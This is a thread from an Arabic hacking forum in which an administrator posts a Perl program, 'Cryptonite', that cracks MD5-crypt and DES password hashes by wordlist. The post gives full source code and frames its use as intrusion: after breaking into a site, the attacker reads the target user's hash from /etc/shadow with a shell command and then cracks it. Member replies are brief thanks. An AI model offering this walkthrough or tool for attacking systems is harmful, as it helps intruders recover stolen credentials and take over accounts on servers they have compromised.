شبكة الصاعقة العربية الهكرز | تعليم الهكرز | برامج هكرز
   مضى على الشبكة .. 8 سنوات و 54 يوم من العطاء.

ماشاء الله تبارك الله ماشاء الله لاقوة الا بالله اللهم انا نسالك الهدى والتقى والعفاف والغنى
العودة   شبكة الصاعقة العربية الهكرز | تعليم الهكرز | برامج هكرز > > >
تسجيل الدخول عبر


نسخ الرابط
الرابط المختصر
في حال وجود أي مواضيع او ردود مُخالفة من قبل الأعضاء ، يرجى الإبلاغ عنها فورا باستخدام أيقونة تقرير عن مشاركة ، و الموجودة أسفل كل مشاركة .

مواضيع ننصحك بزيارتها ( مشابهه )
الموضوع مشاركات آخر مشاركة
شرح برنامج جون لفك الباسوردات المشفره John 3 2012-07-15 02:43 AM
حصرياً برنامج فك الباسوردات المشفره قوي جداً Md5 Cracker FasteSt 13 2011-02-16 12:03 AM
برنامج بلغة البيرل لعمل هجوم دوس على المواقع DoS Perl Tool 5 2010-08-31 05:28 PM
برنامج بلغة البيرل لايجاد الشيلات Shell Finder (PERL) 3 2009-06-13 10:28 AM

 
أدوات الموضوع
قديم 2008-12-26, 11:51 PM   رقم المشاركة : 1
معلومات العضو
القنبلة المؤقتة
مـؤسـس الـشـبـكـة
مسـؤول السيرفرات
:: مجلس الإدارة ::
 
المعلومات









القنبلة المؤقتة غير متواجد حالياً

 
الاوسمة
 

التقرير

المعدل : 3331
القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد القنبلة المؤقتة عضو مجتهد

 

 

Default برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des


طبعا اليوم اقدم لكم برنامج رائع جدا يقوم بفك الباسوردات المشفره MD5 وايضا DES

عندما تريد تخترق موقعك وتستخرج باسورد الموقع

ونفرض ان اسمه TARAB

لما تسوي الامر في السيرفر :


cat /etc/shadow |grep ^tarab

راح يظهر معاك الباسورد المشفر :

كود:
tarab:$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1:12992:0:99999:7:::
هذا الباسورد المشفر :
كود:
$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1
هذا كتوضيح وعندما تريد فك الباسورد استخدم الامر التالي :
كود:
./cryptonite.pl -decrypMD5 '$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1' wordlist

البرنامج بلغة البيرل :
كود:
#!/usr/bin/perl
# 
# Cryptonite written by nuTshell
#  http://nutshell.gotfault.net
#
# Description: Cryptonite is  [encrypter/decrypter<->password generator]
# Supported Algoriths are  MD5 and DES.
#
# Criptonite can do things like:
# -Encrypt single  password from command line;
# -Encrypt cleartext passwords from  textfile;
# -Decrypt encrypted password taking cleartext passwords from  textfile
# 
# eg. MD5 decryption:
# 
# # cat /etc/shadow |grep  ^test
# test:$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1:12992:0:99999:7:::
# $  ./cryptonite.pl -decrypMD5 '$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1' wordlist
#  [*] Testing: testing
# [*] Testing: areyouok
# [*] Testing:  aracnophobia
# [*] Testing: kern3ltest1ng
# [*] Testing: hithere
# [*]  Testing: hackme
#
# [:)] HACK HACK HACK lalalalala
# [!]  $1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1 cracked password is: hackme
# Execution  time: 0s
# $
#
# eg. DES creation of single password:
# 
# $  ./cryptonite.pl -DES hithere
# Algorithm: DES
# nb1o8FrXI7iAQ
#  $
#
# TIP: You could use gen.pl  <http://nutshell.gotfault.net/geni/gen.html>
# to create  wordlists!
#
#  *************************************************************************
#
#  IMPORTANT 1: When inserting encrypted passwords from command line ALWAYS
#  use (') single quotations marks.. ALWAYS!!!!
#
# IMPORTANT 2: When using  wordlist out there make sure to transform then
# in ASCII linux file, for  example:
#
# BAD FILE:
# $ file Unix_dict.txt
# Unix_dict.txt: ASCII  C program text, with CRLF line terminators
# GOD FILE:
# $ dos2unix  Unix_dict.txt
# $ file Unix_dict.txt
# Unix_dict.txt: ASCII C program  text
#
# dos2unix is a very handy tool :)
#
#  *************************************************************************
#
#  To do: support for more ciphers.
# 
# For usage help just type:  ./cryptonite.pl
#
# Greets to all of friends out there 
# 
use  strict;
use Term::ANSIColor;

my  ($x,$begintime,$endtime,$endtimefail,$endtimesuccess,$endtimeS,$endtimeF,$cleartext);
#  Array for random salts
my @array =  split(",","a,b,c,d,e,f,g,h,i,j,l,m,n,o,p,q,r,s,t,u,v,x,z,y,w,k,A,B,C,D,E,F,G,H,I,J,L,M,N,O,P,Q,R,S,T,U,V,X,Z,Y,W,K,,0,1,2,3,4,5,6,7,8,9");
#  MD5 8 salts, same of /etc/shadow, you can increase or decrease, but never lower  than 2
my $MD5salts = 8; 
# DES 2 salts, you can increase it but never  decrease it
my $DESsalts = 2;

if ($MD5salts < 2 || $DESsalts <  2) {
   die "Can`t use salt lower than 2. Change variable(s) and then try  again\n"
}
   
sub usage() {
die <<EOF

Cryptonite  written by nuTshell
Encrypted password[generator/cracker]

Usage: $0  [-MD5|-DES|] 
Options:
-MD5         [passfrase|-input  {input_file}{output_file}]
-DES         [passfrase|-input  {input_file}{output_file}]
-decrypMD5      ['cripted_password'  wordlist_file]
-decrypDES      ['cripted_password'  wordlist_file]
EOF
}

sub crypmeMD5 () {
my $cleartext =  $ARGV[1];
        if ($cleartext eq "-input") {
                my  $inputfile = $ARGV[2] or &usage;
                my $outputfile =  $ARGV[3] or &usage;
                open(INPUT, "<$inputfile") or die  "$!\n";
                open(ZERO,">$outputfile") or die "$!\n";
                 print(ZERO "Algorithm: MD5\n\n");
                close(ZERO);
                 open(OUTPUT,">>$outputfile");
      print("Algorithm:  MD5\n");
        foreach my $outline (<INPUT>) {
                 for(1..$MD5salts) {
                        my $array = $array[rand(@array)]  ;
                        $x .= $array;
                }
       chomp($outline);
      my $pass = crypt($outline,"\$1\$$x");
                 chomp($outline);chomp($pass);
                print(OUTPUT "$outline :  $pass\n");
                print("$outline : $pass\n");
                $x  = "";
        }
        }
        else {
                 for(1..$MD5salts) {
                        my $array = $array[rand(@array)]  ;
                        $x .= $array;
                }
      my  $pass = crypt($cleartext,"\$1\$$x");
      print("Algorithm: MD5\n");
                 print "$pass\n"
        }

}


sub crypmeDES ()  {
my $cleartext = $ARGV[1];
   if ($cleartext eq "-input") { 
      my  $inputfile = $ARGV[2] or &usage;
      my $outputfile = $ARGV[3] or  &usage;
      open(INPUT, "<$inputfile") or die "$!\n";
       open(ZERO,">$outputfile") or die "$!\n";
      print(ZERO "Algorithm:  DES\n\n");
      close(ZERO);
       open(OUTPUT,">>$outputfile");
      print("Algorithm: DES\n");
    foreach my $outline (<INPUT>) {
      for(1..$DESsalts) {
               my $array = $array[rand(@array)] ;
              $x .= $array;
       }
      my $pass = crypt($outline,"$x");
       chomp($outline);chomp($pass);
      print(OUTPUT "$outline : $pass\n");
       print("$outline : $pass\n");
      $x = "";
   }
   } 
   else  {
      for(1..$DESsalts) {
         my $array = $array[rand(@array)]  ;
         $x .= $array;
      }
      my $pass =  crypt($cleartext,"$x");
      print("Algorithm: DES\n");
      print  "$pass\n"
   }
      
}

sub decrypMD5() {
my $pass_to_crack =  $ARGV[1] or die &usage;
my $inputpassfile = $ARGV[2] or die  &usage;
open(INPUT, "<$inputpassfile") or die "$!\n";
$begintime =  localtime();
   foreach my $try (<INPUT>) {
      chomp($try);
       my $check = crypt($try,$pass_to_crack);
      chomp($try);
       print("[*] Testing: $try\n");
      if ($check eq $pass_to_crack) {
             print("\nStarted time: $begintime\n");
            print("[:)] HACK  HACK HACK lalalalala\n");
                                print("[!]  $pass_to_crack cracked password is: ");
            print color('bold');
             print("$try\n");
            print color('reset');
             $endtimeS = localtime();
            print("Finished time:  $endtimeS\n");
            exit(0);
         }
    }
close(INPUT);
$endtimeF = localtime();
print("\nStarted time:  $begintime\n");
print("No passwords cracked. Better luck next  time.\n");
print("Finished time: $endtimeF\n");
}


sub  decrypDES() {
my $pass_to_crack = $ARGV[1] or die &usage;
my  $inputpassfile = $ARGV[2] or die &usage;
open(INPUT,  "<$inputpassfile") or die "$!\n";
$begintime = localtime();
         foreach my $try (<INPUT>) {
                my $check =  crypt($try,$pass_to_crack);
                chomp($try);
                 print("[*] Testing: $try\n");
                if ($check eq $pass_to_crack)  {
            print("\nStarted time: $begintime\n");
                                 print("[:)] HACK HACK HACK lalalalala\n");
                                 print("[!] $pass_to_crack cracked password is: ");
                                 print color('bold');
                                 print("$try\n");
                                print color('reset');
             $endtimeS = localtime();
            print("Finished time:  $endtimeS\n");
                                exit(0);
                         }
        }
$endtimeF = localtime();
print("\nStarted time:  $begintime\n");
print("No passwords cracked. Better luck next  time.\n");
print("Finished time: $endtimeF\n");

}

my %cmd =  (
        "-MD5" => \&crypmeMD5,
   "-decrypMD5" =>  \&decrypMD5,
        "-DES" => \&crypmeDES,
   "-decrypDES"  => \&decrypDES,
        "-help" => \&usage,
);
     chomp(my $string = $ARGV[0]);
    if ($cmd{$string}) {
         $cmd{$string}->();
    } else {&usage}
#eof


القنبلة المؤقتة

 

 

التوقيع

شبكة الصاعقة العربية # مركز الرفع # مركز البحث ......

   

قديم 2008-12-27, 12:28 AM   رقم المشاركة : 2
معلومات العضو
bEcArE
عضو مشارك
 
المعلومات










bEcArE غير متواجد حالياً

 
الاوسمة
 

التقرير

المعدل : 10
bEcArE عضو بدأ يشد حيله

 

 

Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des


مشكور يا اخي على البرنامج ... جاري التجربة

 

 

   

قديم 2009-02-18, 05:11 AM   رقم المشاركة : 3
معلومات العضو
borjoa
عضو فعال
 
المعلومات









borjoa غير متواجد حالياً

 
الاوسمة
 

إرسال رسالة عبر MSN إلى borjoa

التقرير

المعدل : 10
borjoa عضو بدأ يشد حيله

 

 

Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des


goooooooooooooooooooooooooooooooood

 

 

   

قديم 2009-05-30, 05:16 AM   رقم المشاركة : 4
معلومات العضو
samo22
عضو
 
المعلومات










samo22 غير متواجد حالياً

 
الاوسمة
 

التقرير

المعدل : 10
samo22 عضو بدأ يشد حيله

 

 

Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des


شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

 

 

   

قديم 2009-06-05, 08:46 AM   رقم المشاركة : 5
معلومات العضو
morlina
عضو
 
المعلومات










morlina غير متواجد حالياً

 
الاوسمة
 

التقرير

المعدل : 10
morlina عضو بدأ يشد حيله

 

 

Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des


مشكور اخى

 

 

   


مواقع النشر (المفضلة)
أدوات الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

الساعة الآن حسب توقيت مكة المكرمة 09:45 AM.


Powered by vBulletin
Copyright ©2007 - 2014 Sa3eKa.CoM . All rights reserved
|| ѕє¢υяιту By Sa3eKa TeAm ||
Search Engine Optimisation provided by DragonByte SEO (Pro) - vBulletin Mods & Addons Copyright © 2015 DragonByte Technologies Ltd.